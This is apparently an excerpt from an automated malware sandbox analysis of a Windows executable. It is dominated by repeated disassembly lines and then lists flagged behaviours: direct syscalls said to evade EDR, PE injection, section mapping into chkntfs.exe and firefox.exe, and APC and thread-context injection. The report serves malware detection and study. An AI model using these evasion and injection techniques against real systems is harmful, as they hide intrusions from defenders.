Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B29A0 mov eax, dword ptr fs:[00000030h]	3_2_012B29A0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132E9E0 mov eax, dword ptr fs:[00000030h]	3_2_0132E9E0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D29F9 mov eax, dword ptr fs:[00000030h]	3_2_012D29F9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D29F9 mov eax, dword ptr fs:[00000030h]	3_2_012D29F9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136A9D3 mov eax, dword ptr fs:[00000030h]	3_2_0136A9D3
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013369C0 mov eax, dword ptr fs:[00000030h]	3_2_013369C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA9D0 mov eax, dword ptr fs:[00000030h]	3_2_012AA9D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA9D0 mov eax, dword ptr fs:[00000030h]	3_2_012AA9D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA9D0 mov eax, dword ptr fs:[00000030h]	3_2_012AA9D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA9D0 mov eax, dword ptr fs:[00000030h]	3_2_012AA9D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA9D0 mov eax, dword ptr fs:[00000030h]	3_2_012AA9D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AA9D0 mov eax, dword ptr fs:[00000030h]	3_2_012AA9D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D49D0 mov eax, dword ptr fs:[00000030h]	3_2_012D49D0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134483A mov eax, dword ptr fs:[00000030h]	3_2_0134483A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134483A mov eax, dword ptr fs:[00000030h]	3_2_0134483A
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C2835 mov eax, dword ptr fs:[00000030h]	3_2_012C2835
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C2835 mov eax, dword ptr fs:[00000030h]	3_2_012C2835
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C2835 mov eax, dword ptr fs:[00000030h]	3_2_012C2835
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C2835 mov ecx, dword ptr fs:[00000030h]	3_2_012C2835
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C2835 mov eax, dword ptr fs:[00000030h]	3_2_012C2835
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C2835 mov eax, dword ptr fs:[00000030h]	3_2_012C2835
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DA830 mov eax, dword ptr fs:[00000030h]	3_2_012DA830
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132C810 mov eax, dword ptr fs:[00000030h]	3_2_0132C810
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132E872 mov eax, dword ptr fs:[00000030h]	3_2_0132E872
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132E872 mov eax, dword ptr fs:[00000030h]	3_2_0132E872
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01336870 mov eax, dword ptr fs:[00000030h]	3_2_01336870
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01336870 mov eax, dword ptr fs:[00000030h]	3_2_01336870
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B2840 mov ecx, dword ptr fs:[00000030h]	3_2_012B2840
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A4859 mov eax, dword ptr fs:[00000030h]	3_2_012A4859
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A4859 mov eax, dword ptr fs:[00000030h]	3_2_012A4859
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012D0854 mov eax, dword ptr fs:[00000030h]	3_2_012D0854
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A0887 mov eax, dword ptr fs:[00000030h]	3_2_012A0887
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132C89D mov eax, dword ptr fs:[00000030h]	3_2_0132C89D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136A8E4 mov eax, dword ptr fs:[00000030h]	3_2_0136A8E4
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DC8F9 mov eax, dword ptr fs:[00000030h]	3_2_012DC8F9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DC8F9 mov eax, dword ptr fs:[00000030h]	3_2_012DC8F9
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CE8C0 mov eax, dword ptr fs:[00000030h]	3_2_012CE8C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_013708C0 mov eax, dword ptr fs:[00000030h]	3_2_013708C0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CEB20 mov eax, dword ptr fs:[00000030h]	3_2_012CEB20
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CEB20 mov eax, dword ptr fs:[00000030h]	3_2_012CEB20
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01368B28 mov eax, dword ptr fs:[00000030h]	3_2_01368B28
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01368B28 mov eax, dword ptr fs:[00000030h]	3_2_01368B28
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131EB1D mov eax, dword ptr fs:[00000030h]	3_2_0131EB1D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131EB1D mov eax, dword ptr fs:[00000030h]	3_2_0131EB1D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131EB1D mov eax, dword ptr fs:[00000030h]	3_2_0131EB1D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131EB1D mov eax, dword ptr fs:[00000030h]	3_2_0131EB1D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131EB1D mov eax, dword ptr fs:[00000030h]	3_2_0131EB1D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131EB1D mov eax, dword ptr fs:[00000030h]	3_2_0131EB1D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131EB1D mov eax, dword ptr fs:[00000030h]	3_2_0131EB1D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131EB1D mov eax, dword ptr fs:[00000030h]	3_2_0131EB1D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131EB1D mov eax, dword ptr fs:[00000030h]	3_2_0131EB1D
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01374B00 mov eax, dword ptr fs:[00000030h]	3_2_01374B00
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0129CB7E mov eax, dword ptr fs:[00000030h]	3_2_0129CB7E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01372B57 mov eax, dword ptr fs:[00000030h]	3_2_01372B57
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01372B57 mov eax, dword ptr fs:[00000030h]	3_2_01372B57
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01372B57 mov eax, dword ptr fs:[00000030h]	3_2_01372B57
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01372B57 mov eax, dword ptr fs:[00000030h]	3_2_01372B57
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134EB50 mov eax, dword ptr fs:[00000030h]	3_2_0134EB50
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01336B40 mov eax, dword ptr fs:[00000030h]	3_2_01336B40
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01336B40 mov eax, dword ptr fs:[00000030h]	3_2_01336B40
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0136AB40 mov eax, dword ptr fs:[00000030h]	3_2_0136AB40
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01348B42 mov eax, dword ptr fs:[00000030h]	3_2_01348B42
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01298B50 mov eax, dword ptr fs:[00000030h]	3_2_01298B50
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01354B4B mov eax, dword ptr fs:[00000030h]	3_2_01354B4B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01354B4B mov eax, dword ptr fs:[00000030h]	3_2_01354B4B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01354BB0 mov eax, dword ptr fs:[00000030h]	3_2_01354BB0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_01354BB0 mov eax, dword ptr fs:[00000030h]	3_2_01354BB0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0BBE mov eax, dword ptr fs:[00000030h]	3_2_012B0BBE
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0BBE mov eax, dword ptr fs:[00000030h]	3_2_012B0BBE
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132CBF0 mov eax, dword ptr fs:[00000030h]	3_2_0132CBF0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CEBFC mov eax, dword ptr fs:[00000030h]	3_2_012CEBFC
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A8BF0 mov eax, dword ptr fs:[00000030h]	3_2_012A8BF0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A8BF0 mov eax, dword ptr fs:[00000030h]	3_2_012A8BF0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A8BF0 mov eax, dword ptr fs:[00000030h]	3_2_012A8BF0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134EBD0 mov eax, dword ptr fs:[00000030h]	3_2_0134EBD0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C0BCB mov eax, dword ptr fs:[00000030h]	3_2_012C0BCB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C0BCB mov eax, dword ptr fs:[00000030h]	3_2_012C0BCB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C0BCB mov eax, dword ptr fs:[00000030h]	3_2_012C0BCB
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A0BCD mov eax, dword ptr fs:[00000030h]	3_2_012A0BCD
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A0BCD mov eax, dword ptr fs:[00000030h]	3_2_012A0BCD
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A0BCD mov eax, dword ptr fs:[00000030h]	3_2_012A0BCD
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012CEA2E mov eax, dword ptr fs:[00000030h]	3_2_012CEA2E
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DCA24 mov eax, dword ptr fs:[00000030h]	3_2_012DCA24
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DCA38 mov eax, dword ptr fs:[00000030h]	3_2_012DCA38
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C4A35 mov eax, dword ptr fs:[00000030h]	3_2_012C4A35
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012C4A35 mov eax, dword ptr fs:[00000030h]	3_2_012C4A35
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0132CA11 mov eax, dword ptr fs:[00000030h]	3_2_0132CA11
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DCA6F mov eax, dword ptr fs:[00000030h]	3_2_012DCA6F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DCA6F mov eax, dword ptr fs:[00000030h]	3_2_012DCA6F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012DCA6F mov eax, dword ptr fs:[00000030h]	3_2_012DCA6F
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131CA72 mov eax, dword ptr fs:[00000030h]	3_2_0131CA72
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0131CA72 mov eax, dword ptr fs:[00000030h]	3_2_0131CA72
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_0134EA60 mov eax, dword ptr fs:[00000030h]	3_2_0134EA60
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0A5B mov eax, dword ptr fs:[00000030h]	3_2_012B0A5B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012B0A5B mov eax, dword ptr fs:[00000030h]	3_2_012B0A5B
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6A50 mov eax, dword ptr fs:[00000030h]	3_2_012A6A50
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6A50 mov eax, dword ptr fs:[00000030h]	3_2_012A6A50
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6A50 mov eax, dword ptr fs:[00000030h]	3_2_012A6A50
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6A50 mov eax, dword ptr fs:[00000030h]	3_2_012A6A50
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6A50 mov eax, dword ptr fs:[00000030h]	3_2_012A6A50
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6A50 mov eax, dword ptr fs:[00000030h]	3_2_012A6A50
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A6A50 mov eax, dword ptr fs:[00000030h]	3_2_012A6A50
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A8AA0 mov eax, dword ptr fs:[00000030h]	3_2_012A8AA0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012A8AA0 mov eax, dword ptr fs:[00000030h]	3_2_012A8AA0
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012F6AA4 mov eax, dword ptr fs:[00000030h]	3_2_012F6AA4
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AEA80 mov eax, dword ptr fs:[00000030h]	3_2_012AEA80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AEA80 mov eax, dword ptr fs:[00000030h]	3_2_012AEA80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AEA80 mov eax, dword ptr fs:[00000030h]	3_2_012AEA80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AEA80 mov eax, dword ptr fs:[00000030h]	3_2_012AEA80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AEA80 mov eax, dword ptr fs:[00000030h]	3_2_012AEA80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AEA80 mov eax, dword ptr fs:[00000030h]	3_2_012AEA80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AEA80 mov eax, dword ptr fs:[00000030h]	3_2_012AEA80
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Code function: 3_2_012AEA80 mov eax, dword ptr fs:[00000030h]	3_2_012AEA80

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe

Memory allocated: page read and write | page guard

Found direct / indirect Syscall (likely to bypass EDR)

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtWriteVirtualMemory: Direct from: 0x77762E3C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtMapViewOfSection: Direct from: 0x77762D1C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtNotifyChangeKey: Direct from: 0x77763C2C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtCreateMutant: Direct from: 0x777635CC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtResumeThread: Direct from: 0x777636AC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtProtectVirtualMemory: Direct from: 0x77757B2E	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtQuerySystemInformation: Direct from: 0x77762DFC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtAllocateVirtualMemory: Direct from: 0x77762BFC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtReadFile: Direct from: 0x77762ADC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtDelayExecution: Direct from: 0x77762DDC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtWriteVirtualMemory: Direct from: 0x7776490C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtQueryInformationProcess: Direct from: 0x77762C26	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtResumeThread: Direct from: 0x77762FBC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtCreateUserProcess: Direct from: 0x7776371C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtSetInformationThread: Direct from: 0x777563F9	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtAllocateVirtualMemory: Direct from: 0x77763C9C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtSetInformationThread: Direct from: 0x77762B4C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtQueryAttributesFile: Direct from: 0x77762E6C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtClose: Direct from: 0x77762B6C
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtReadVirtualMemory: Direct from: 0x77762E8C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtCreateKey: Direct from: 0x77762C6C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtQuerySystemInformation: Direct from: 0x777648CC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtAllocateVirtualMemory: Direct from: 0x777648EC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtQueryVolumeInformationFile: Direct from: 0x77762F2C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtOpenSection: Direct from: 0x77762E0C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtDeviceIoControlFile: Direct from: 0x77762AEC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtAllocateVirtualMemory: Direct from: 0x77762BEC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtQueryInformationToken: Direct from: 0x77762CAC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtTerminateThread: Direct from: 0x77762FCC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtCreateFile: Direct from: 0x77762FEC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtOpenFile: Direct from: 0x77762DCC	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtOpenKeyEx: Direct from: 0x77762B9C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtSetInformationProcess: Direct from: 0x77762C5C	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	NtProtectVirtualMemory: Direct from: 0x77762F9C	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Memory written: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe	Memory written: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe base: 400000 value starts with: 4D5A			Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: NULL target: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Section loaded: NULL target: C:\Windows\SysWOW64\chkntfs.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\chkntfs.exe

Thread register set: target process: 8012

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\chkntfs.exe

Thread APC queued: target process: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe

Source: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe	Process created: C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe "C:\Users\user\Desktop\8hd98EhtIFcYkb8.exe"	Jump to behavior
Source: C:\Program Files (x86)\hPtrHAtiFIOlgWBhRKiQLCwHTCivTEHgUqCJwvwVbNzaVcNBivDXZtBimAlSz\xQUrWfQeELsQZII.exe	Process created: C:\Windows\SysWOW64\chkntfs.exe "C:\Windows\SysWOW64\chkntfs.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\chkntfs.exe	Process created: C:\Users\user\AppData\Local\Temp\aj34fjqh.exe "C:\Users\user~1\AppData\Local\Temp\aj34fjqh.exe"	Jump to behavior
